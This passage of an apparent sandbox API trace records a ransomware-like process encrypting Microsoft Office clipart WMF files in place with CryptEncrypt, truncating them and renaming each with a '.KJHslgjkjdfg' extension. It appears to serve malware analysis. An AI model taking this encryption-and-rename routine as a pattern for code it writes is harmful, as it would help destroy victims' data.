cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0197.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.099] GetProcessHeap () returned 0x2ef0000 [0197.099] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.099] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.099] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0197.102] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.102] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.102] GetProcessHeap () returned 0x2ef0000 [0197.102] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.102] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.102] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.102] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.102] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.103] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.103] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.103] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.103] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.103] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.103] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5314, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5314, lpOverlapped=0x0) returned 1 [0197.104] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5320, dwBufLen=0x5320 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5320) returned 1 [0197.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.105] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5320, lpOverlapped=0x0) returned 1 [0197.105] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x53f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.105] SetEndOfFile (hFile=0x130) returned 1 [0197.108] GetProcessHeap () returned 0x2ef0000 [0197.108] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.108] GetProcessHeap () returned 0x2ef0000 [0197.108] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.kjhslgjkjdfg")) returned 1 [0197.109] CloseHandle (hObject=0x130) returned 1 [0197.109] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0197.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.110] GetProcessHeap () returned 0x2ef0000 [0197.110] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.110] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.110] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.113] GetProcessHeap () returned 0x2ef0000 [0197.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.113] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.113] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.114] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.114] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.114] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.114] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb758, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb758, lpOverlapped=0x0) returned 1 [0197.116] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb760, dwBufLen=0xb760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb760) returned 1 [0197.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.116] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb760, lpOverlapped=0x0) returned 1 [0197.117] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.117] SetEndOfFile (hFile=0x130) returned 1 [0197.120] GetProcessHeap () returned 0x2ef0000 [0197.120] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.120] GetProcessHeap () returned 0x2ef0000 [0197.120] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.120] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.kjhslgjkjdfg")) returned 1 [0197.121] CloseHandle (hObject=0x130) returned 1 [0197.122] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0197.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.123] GetProcessHeap () returned 0x2ef0000 [0197.123] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.123] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.123] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.123] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.123] GetProcessHeap () returned 0x2ef0000 [0197.124] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.124] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.124] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.124] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.125] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.125] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.126] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.126] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.126] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.126] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.126] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3d90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3d90, lpOverlapped=0x0) returned 1 [0197.127] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d90, dwBufLen=0x3d90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d90) returned 1 [0197.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.127] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3d90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3d90, lpOverlapped=0x0) returned 1 [0197.127] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.128] SetEndOfFile (hFile=0x130) returned 1 [0197.129] GetProcessHeap () returned 0x2ef0000 [0197.130] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.131] GetProcessHeap () returned 0x2ef0000 [0197.131] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.kjhslgjkjdfg")) returned 1 [0197.133] CloseHandle (hObject=0x130) returned 1 [0197.133] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0197.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.133] GetProcessHeap () returned 0x2ef0000 [0197.133] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.133] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.134] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0197.136] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.136] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.136] GetProcessHeap () returned 0x2ef0000 [0197.136] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.136] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.136] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.136] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.136] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.136] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.136] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.137] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.137] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.137] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.137] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6e34, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6e34, lpOverlapped=0x0) returned 1 [0197.139] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6e40, dwBufLen=0x6e40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6e40) returned 1 [0197.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.140] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6e40, lpOverlapped=0x0) returned 1 [0197.140] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.140] SetEndOfFile (hFile=0x130) returned 1 [0197.143] GetProcessHeap () returned 0x2ef0000 [0197.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.143] GetProcessHeap () returned 0x2ef0000 [0197.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.kjhslgjkjdfg")) returned 1 [0197.144] CloseHandle (hObject=0x130) returned 1 [0197.145] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0197.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.146] GetProcessHeap () returned 0x2ef0000 [0197.146] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.146] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.146] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0197.149] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.150] 